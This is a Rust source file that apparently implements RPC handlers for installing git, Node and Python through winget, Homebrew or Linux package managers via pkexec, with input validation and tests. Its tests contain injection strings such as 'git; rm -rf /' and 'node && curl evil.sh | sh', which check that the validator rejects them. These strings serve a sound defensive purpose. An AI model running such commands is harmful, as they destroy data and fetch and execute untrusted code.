1#[cfg(windows)]
28use agentmux_common::win32::NoWindow;
29use std::sync::Arc;
30
31use serde::Deserialize;
32use serde_json::json;
33
34use crate::backend::rpc::engine::WshRpcEngine;
35use crate::backend::mps::Broker;
36use crate::server::install_handlers::{resolve_tool_path, InstallChunkEvent, InstallStream};
37use crate::server::AppState;
38
39pub const COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND: &str = "toolchain.resolve_install_command";
40pub const COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL: &str = "toolchain.install_system_tool";
41
42fn is_safe_tool_id(s: &str) -> bool {
48 !s.is_empty()
49 && s.len() <= 32
50 && s.chars().all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-')
51}
52
53#[derive(Debug, Clone)]
57struct SystemInstallStep {
58 program: String,
59 args: Vec<String>,
60 needs_elevation: bool,
64 verify_bin: String,
77 resolved_version: Option<String>,
87}
88
89#[derive(Debug, Clone, Copy, PartialEq, Eq)]
92enum LinuxPackageManager {
93 AptGet,
94 Dnf,
95 Yum,
96 Pacman,
97 Zypper,
98 Apk,
99}
100
101impl LinuxPackageManager {
102 const ALL_IN_PRIORITY_ORDER: [LinuxPackageManager; 6] = [
103 LinuxPackageManager::AptGet,
104 LinuxPackageManager::Dnf,
105 LinuxPackageManager::Yum,
106 LinuxPackageManager::Pacman,
107 LinuxPackageManager::Zypper,
108 LinuxPackageManager::Apk,
109 ];
110
111 fn binary_name(&self) -> &'static str {
112 match self {
113 Self::AptGet => "apt-get",
114 Self::Dnf => "dnf",
115 Self::Yum => "yum",
116 Self::Pacman => "pacman",
117 Self::Zypper => "zypper",
118 Self::Apk => "apk",
119 }
120 }
121
122 fn install_args(&self, packages: &[&str]) -> Vec<String> {
127 let mut args: Vec<String> = match self {
128 Self::AptGet | Self::Dnf | Self::Yum | Self::Zypper => {
129 vec!["install".to_string(), "-y".to_string()]
130 }
131 Self::Pacman => vec!["-S".to_string(), "--noconfirm".to_string()],
132 Self::Apk => vec!["add".to_string()],
133 };
134 args.extend(packages.iter().map(|s| s.to_string()));
135 args
136 }
137}
138
139async fn detect_linux_package_manager() -> Option<LinuxPackageManager> {
146 for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
147 if resolve_tool_path(pm.binary_name()).await.is_some() {
148 return Some(pm);
149 }
150 }
151 None
152}
153
154fn verify_bin_for_tool(tool_id: &str, windows: bool) -> Option<&'static str> {
159 match tool_id {
160 "git" => Some("git"),
161 "node" | "npm" => Some("node"),
162 "python" => Some(if windows { "python" } else { "python3" }),
163 _ => None,
164 }
165}
166
167async fn query_winget_version(winget_id: &str) -> Option<String> {
174 let mut c = tokio::process::Command::new("winget");
175 c.args(["show", "--id", winget_id, "-e"]);
176 #[cfg(windows)]
177 {
178 c.no_window();
179 }
180 let output = c.output().await.ok()?;
181 if !output.status.success() {
182 return None;
183 }
184 let stdout = String::from_utf8_lossy(&output.stdout);
185 stdout.lines().find_map(|line| {
186 line.strip_prefix("Version:").map(|v| v.trim().to_string())
187 })
188}
189
190fn windows_winget_id(tool_id: &str) -> Option<&'static str> {
198 match tool_id {
199 "git" => Some("Git.Git"),
200 "node" | "npm" => Some("OpenJS.NodeJS.LTS"),
201 "python" => Some("Python.Python.3.12"),
202 _ => None,
203 }
204}
205
206fn resolve_windows_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
207 let winget_id = windows_winget_id(tool_id)?;
208 Some(SystemInstallStep {
209 program: "winget".to_string(),
210 args: vec![
211 "install".to_string(),
212 "--id".to_string(),
213 winget_id.to_string(),
214 "-e".to_string(),
215 "--silent".to_string(),
216 "--accept-package-agreements".to_string(),
217 "--accept-source-agreements".to_string(),
218 ],
219 needs_elevation: true,
227 verify_bin: verify_bin_for_tool(tool_id, true)?.to_string(),
228 resolved_version,
229 })
230}
231
232async fn query_brew_version(formula: &str) -> Option<String> {
235 let output = tokio::process::Command::new("brew")
236 .args(["info", "--json=v2", formula])
237 .output()
238 .await
239 .ok()?;
240 if !output.status.success() {
241 return None;
242 }
243 let parsed: serde_json::Value = serde_json::from_slice(&output.stdout).ok()?;
244 parsed
245 .get("formulae")?
246 .get(0)?
247 .get("versions")?
248 .get("stable")?
249 .as_str()
250 .map(|s| s.to_string())
251}
252
253fn brew_formula(tool_id: &str) -> Option<&'static str> {
257 match tool_id {
258 "git" => Some("git"),
259 "node" | "npm" => Some("node"),
260 "python" => Some("python@3.12"),
261 _ => None,
262 }
263}
264
265fn resolve_brew_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
268 let formula = brew_formula(tool_id)?;
269 Some(SystemInstallStep {
270 program: "brew".to_string(),
271 args: vec!["install".to_string(), formula.to_string()],
272 needs_elevation: false,
275 verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
276 resolved_version,
277 })
278}
279
280async fn query_apt_version(pkg: &str) -> Option<String> {
289 let output = tokio::process::Command::new("apt-cache")
290 .args(["policy", pkg])
291 .output()
292 .await
293 .ok()?;
294 if !output.status.success() {
295 return None;
296 }
297 let stdout = String::from_utf8_lossy(&output.stdout);
298 stdout.lines().find_map(|line| {
299 line.trim()
300 .strip_prefix("Candidate:")
301 .map(|v| v.trim().to_string())
302 .filter(|v| v != "(none)")
303 })
304}
305
306fn apt_primary_package(tool_id: &str) -> Option<&'static str> {
311 match tool_id {
312 "git" => Some("git"),
313 "node" | "npm" => Some("nodejs"),
314 "python" => Some("python3"),
315 _ => None,
316 }
317}
318
319fn resolve_linux_step(
336 tool_id: &str,
337 pm: LinuxPackageManager,
338 resolved_version: Option<String>,
339) -> Option<SystemInstallStep> {
340 let packages: &[&str] = match tool_id {
341 "git" => &["git"],
342 "node" | "npm" => &["nodejs", "npm"],
343 "python" => match pm {
344 LinuxPackageManager::AptGet => &["python3", "python3-pip", "python3-venv"],
345 LinuxPackageManager::Pacman => &["python", "python-pip"],
346 LinuxPackageManager::Apk => &["python3", "py3-pip"],
347 _ => &["python3", "python3-pip"],
348 },
349 _ => return None,
350 };
351 let mut args = vec![pm.binary_name().to_string()];
352 args.extend(pm.install_args(packages));
353 Some(SystemInstallStep {
354 program: "pkexec".to_string(),
355 args,
356 needs_elevation: true,
357 verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
358 resolved_version,
359 })
360}
361
362fn claim_key_for_tool(tool_id: &str) -> &str {
377 if tool_id == "npm" { "node" } else { tool_id }
378}
379
380async fn resolve_install_step(tool_id: &str) -> Option<SystemInstallStep> {
381 if cfg!(windows) {
382 resolve_tool_path("winget").await?;
390 let resolved_version = match windows_winget_id(tool_id) {
391 Some(id) => query_winget_version(id).await,
392 None => None,
393 };
394 resolve_windows_step(tool_id, resolved_version)
395 } else if cfg!(target_os = "macos") {
396 resolve_tool_path("brew").await?;
397 let resolved_version = match brew_formula(tool_id) {
398 Some(formula) => query_brew_version(formula).await,
399 None => None,
400 };
401 resolve_brew_step(tool_id, resolved_version)
402 } else {
403 let pm = detect_linux_package_manager().await?;
404 resolve_tool_path("pkexec").await?;
413 let resolved_version = match (pm, apt_primary_package(tool_id)) {
414 (LinuxPackageManager::AptGet, Some(pkg)) => query_apt_version(pkg).await,
415 _ => None,
416 };
417 resolve_linux_step(tool_id, pm, resolved_version)
418 }
419}
420
421#[derive(Debug, Deserialize, ts_rs::TS)]
422#[ts(export, export_to = "../../../frontend/types/rpc/")]
423#[serde(rename_all = "camelCase")]
424struct ToolIdReq {
425 tool_id: String,
426}
427
428#[derive(Debug, serde::Serialize, ts_rs::TS)]
432#[ts(export, export_to = "../../../frontend/types/rpc/")]
433#[serde(untagged)]
434enum ResolveInstallCommandResult {
435 Unavailable(InstallCommandUnavailable),
436 Available(InstallCommandAvailable),
437}
438
439#[derive(Debug, serde::Serialize, ts_rs::TS)]
440#[ts(export, export_to = "../../../frontend/types/rpc/")]
441struct InstallCommandUnavailable {
442 #[ts(type = "false")]
443 available: bool,
444}
445
446#[derive(Debug, serde::Serialize, ts_rs::TS)]
447#[ts(export, export_to = "../../../frontend/types/rpc/")]
448#[serde(rename_all = "camelCase")]
449struct InstallCommandAvailable {
450 #[ts(type = "true")]
451 available: bool,
452 program: String,
453 args: Vec<String>,
454 needs_elevation: bool,
455 command_preview: String,
456 resolved_version: Option<String>,
459}
460
461#[derive(Debug, serde::Serialize, ts_rs::TS)]
463#[ts(export, export_to = "../../../frontend/types/rpc/")]
464#[serde(rename_all = "camelCase")]
465struct InstallSystemToolResult {
466 session_id: String,
467}
468
469pub fn register_system_install_handlers(engine: &Arc<WshRpcEngine>, state: &AppState) {
470 engine.register_typed(COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND, move |req: ToolIdReq, _ctx| {
471 async move {
472 if !is_safe_tool_id(&req.tool_id) {
473 return Err(format!(
474 "toolchain.resolve_install_command: invalid tool id {:?}",
475 req.tool_id
476 ));
477 }
478 Ok(match resolve_install_step(&req.tool_id).await {
479 Some(step) => ResolveInstallCommandResult::Available(InstallCommandAvailable {
480 available: true,
481 command_preview: format!("{} {}", step.program, step.args.join(" ")),
482 program: step.program,
483 args: step.args,
484 needs_elevation: step.needs_elevation,
485 resolved_version: step.resolved_version,
486 }),
487 None => ResolveInstallCommandResult::Unavailable(InstallCommandUnavailable { available: false }),
488 })
489 }
490 });
491
492 let registry = state.install_sessions.clone();
493 let broker = state.broker.clone();
494 engine.register_typed(COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL, move |req: ToolIdReq, _ctx| {
495 let registry = registry.clone();
496 let broker = broker.clone();
497 async move {
498 if !is_safe_tool_id(&req.tool_id) {
499 return Err(format!(
500 "toolchain.install_system_tool: invalid tool id {:?}",
501 req.tool_id
502 ));
503 }
504 let step = resolve_install_step(&req.tool_id).await.ok_or_else(|| {
505 format!(
506 "toolchain.install_system_tool: no installable command resolved for {:?} on this platform",
507 req.tool_id
508 )
509 })?;
510 let claim_key = claim_key_for_tool(&req.tool_id).to_string();
511 if !registry.try_claim_system_tool(&claim_key) {
512 return Err(format!(
513 "toolchain.install_system_tool: {} is already being installed in another session",
514 req.tool_id
515 ));
516 }
517 let session_id = format!("sysinstall-{}", uuid::Uuid::new_v4());
518 tracing::info!(
519 session_id = %session_id,
520 tool_id = %req.tool_id,
521 program = %step.program,
522 args = ?step.args,
523 "toolchain.install_system_tool"
524 );
525
526 let (cancel_tx, cancel_rx) = tokio::sync::oneshot::channel();
527 registry.insert(session_id.clone(), cancel_tx);
528
529 spawn_system_install_task(
530 broker,
531 registry,
532 session_id.clone(),
533 claim_key,
534 step,
535 cancel_rx,
536 );
537
538 Ok(InstallSystemToolResult { session_id })
539 }
540 });
541}
542
543fn spawn_system_install_task(
544 broker: Arc<Broker>,
545 registry: Arc<crate::server::install_handlers::InstallSessionRegistry>,
546 session_id: String,
547 claim_key: String,
551 step: SystemInstallStep,
552 mut cancel_rx: tokio::sync::oneshot::Receiver<()>,
553) {
554 tokio::spawn(async move {
555 use std::process::Stdio;
556 use tokio::io::{AsyncBufReadExt, BufReader};
557 use tokio::process::Command;
558
559 let scope = format!("install:{}", session_id);
565 let emit_line = |broker: &Broker, line: String, stream: InstallStream| {
566 broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_id, line, stream), vec![scope.clone()], 1024);
567 };
568 let emit_done = |broker: &Broker, ok: bool, error: Option<String>| {
569 broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::done(&session_id, ok, json!(error)), vec![scope.clone()], 1024);
570 };
571
572 emit_line(
573 &broker,
574 format!("$ {} {}", step.program, step.args.join(" ")),
575 InstallStream::Stdout,
576 );
577
578 let mut cmd = Command::new(&step.program);
579 crate::backend::pane_env::sanitize_external_command(&mut cmd);
581 cmd.args(&step.args);
582 cmd.stdin(Stdio::null())
583 .stdout(Stdio::piped())
584 .stderr(Stdio::piped())
585 .kill_on_drop(true);
586 #[cfg(windows)]
587 {
588 cmd.no_window(); }
590
591 let mut child = match cmd.spawn() {
592 Ok(c) => c,
593 Err(e) => {
594 emit_done(&broker, false, Some(format!("spawn {}: {e}", step.program)));
595 registry.drop_session(&session_id);
596 registry.release_system_tool(&claim_key);
597 return;
598 }
599 };
600
601 let stdout = child.stdout.take().expect("piped");
602 let stderr = child.stderr.take().expect("piped");
603
604 let broker_out = broker.clone();
605 let scope_out = scope.clone();
606 let session_out = session_id.clone();
607 let stdout_task = tokio::spawn(async move {
608 let mut lines = BufReader::new(stdout).lines();
609 while let Ok(Some(line)) = lines.next_line().await {
610 broker_out.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_out, line, InstallStream::Stdout), vec![scope_out.clone()], 1024);
611 }
612 });
613
614 let broker_err = broker.clone();
615 let scope_err = scope.clone();
616 let session_err = session_id.clone();
617 let stderr_task = tokio::spawn(async move {
618 let mut lines = BufReader::new(stderr).lines();
619 while let Ok(Some(line)) = lines.next_line().await {
620 broker_err.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_err, line, InstallStream::Stderr), vec![scope_err.clone()], 1024);
621 }
622 });
623
624 tokio::select! {
625 wait = child.wait() => {
626 let _ = stdout_task.await;
627 let _ = stderr_task.await;
628 match wait {
629 Ok(s) if s.success() => {
630 if resolve_tool_path(&step.verify_bin).await.is_none() {
642 emit_line(
643 &broker,
644 format!(
645 "Note: {} finished successfully, but AgentMux's current session doesn't see \"{}\" yet — restart AgentMux to pick up the updated PATH.",
646 step.program, step.verify_bin
647 ),
648 InstallStream::Stdout,
649 );
650 }
651 emit_done(&broker, true, None);
652 }
653 Ok(s) => emit_done(&broker, false, Some(format!("{} exited {:?}", step.program, s.code()))),
654 Err(e) => emit_done(&broker, false, Some(format!("wait: {e}"))),
655 }
656 }
657 _ = &mut cancel_rx => {
666 tracing::info!(session_id = %session_id, "toolchain.install_system_tool: cancel — killing child");
667 let _ = child.kill().await;
668 let _ = stdout_task.await;
669 let _ = stderr_task.await;
670 emit_done(&broker, false, Some("cancelled".into()));
671 }
672 }
673
674 registry.drop_session(&session_id);
675 registry.release_system_tool(&claim_key);
676 });
677}
678
679#[cfg(test)]
680mod tests {
681 use super::*;
682
683 #[test]
684 fn is_safe_tool_id_accepts_the_real_catalog_ids() {
685 for id in ["git", "node", "npm", "python"] {
686 assert!(is_safe_tool_id(id), "{id} should be accepted");
687 }
688 }
689
690 #[test]
691 fn is_safe_tool_id_rejects_shell_metacharacters_and_oversized_input() {
692 for id in ["git; rm -rf /", "node && curl evil.sh | sh", "", &"a".repeat(33), "../etc"] {
693 assert!(!is_safe_tool_id(id), "{id:?} should be rejected");
694 }
695 }
696
697 #[test]
698 fn resolve_windows_step_covers_the_catalog_and_rejects_unknown_ids() {
699 let git = resolve_windows_step("git", None).unwrap();
700 assert_eq!(git.program, "winget");
701 assert!(git.args.contains(&"Git.Git".to_string()));
702 assert!(git.needs_elevation);
703
704 let node = resolve_windows_step("node", None).unwrap();
707 let npm = resolve_windows_step("npm", None).unwrap();
708 assert_eq!(node.args, npm.args);
709 assert!(node.args.contains(&"OpenJS.NodeJS.LTS".to_string()));
710
711 assert!(resolve_windows_step("python", None).is_some());
712 assert!(resolve_windows_step("docker", None).is_none());
713 assert!(resolve_windows_step("", None).is_none());
714 }
715
716 #[test]
717 fn resolve_windows_step_carries_the_resolved_version_through() {
718 let git = resolve_windows_step("git", Some("2.47.1".to_string())).unwrap();
719 assert_eq!(git.resolved_version.as_deref(), Some("2.47.1"));
720 }
721
722 #[test]
723 fn resolve_brew_step_covers_the_catalog_and_never_needs_elevation() {
724 for id in ["git", "node", "npm", "python"] {
725 let step = resolve_brew_step(id, None).unwrap();
726 assert_eq!(step.program, "brew");
727 assert!(!step.needs_elevation, "brew must never be modeled as needing elevation");
728 }
729 assert!(resolve_brew_step("docker", None).is_none());
730 }
731
732 #[test]
733 fn resolve_linux_step_uses_the_correct_flag_syntax_per_manager() {
734 let apt = resolve_linux_step("git", LinuxPackageManager::AptGet, None).unwrap();
735 assert_eq!(apt.program, "pkexec");
736 assert_eq!(apt.args, vec!["apt-get", "install", "-y", "git"]);
737
738 let pacman = resolve_linux_step("git", LinuxPackageManager::Pacman, None).unwrap();
739 assert_eq!(pacman.args, vec!["pacman", "-S", "--noconfirm", "git"]);
740
741 let apk = resolve_linux_step("node", LinuxPackageManager::Apk, None).unwrap();
742 assert_eq!(apk.args, vec!["apk", "add", "nodejs", "npm"]);
743
744 let python_pacman =
747 resolve_linux_step("python", LinuxPackageManager::Pacman, None).unwrap();
748 assert_eq!(python_pacman.args, vec!["pacman", "-S", "--noconfirm", "python", "python-pip"]);
749 let python_apt = resolve_linux_step("python", LinuxPackageManager::AptGet, None).unwrap();
750 assert_eq!(
751 python_apt.args,
752 vec!["apt-get", "install", "-y", "python3", "python3-pip", "python3-venv"]
753 );
754
755 assert!(resolve_linux_step("docker", LinuxPackageManager::AptGet, None).is_none());
756 }
757
758 #[test]
759 fn every_populated_catalog_entry_uses_a_plain_argv_never_a_shell_string() {
760 let shells = ["sh", "bash", "cmd", "cmd.exe", "powershell", "powershell.exe"];
765 for id in ["git", "node", "npm", "python"] {
766 if let Some(s) = resolve_windows_step(id, None) {
767 assert!(!shells.contains(&s.program.as_str()));
768 }
769 if let Some(s) = resolve_brew_step(id, None) {
770 assert!(!shells.contains(&s.program.as_str()));
771 }
772 for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
773 if let Some(s) = resolve_linux_step(id, pm, None) {
774 assert!(!shells.contains(&s.program.as_str()));
775 assert_eq!(s.program, "pkexec");
776 }
777 }
778 }
779 }
780}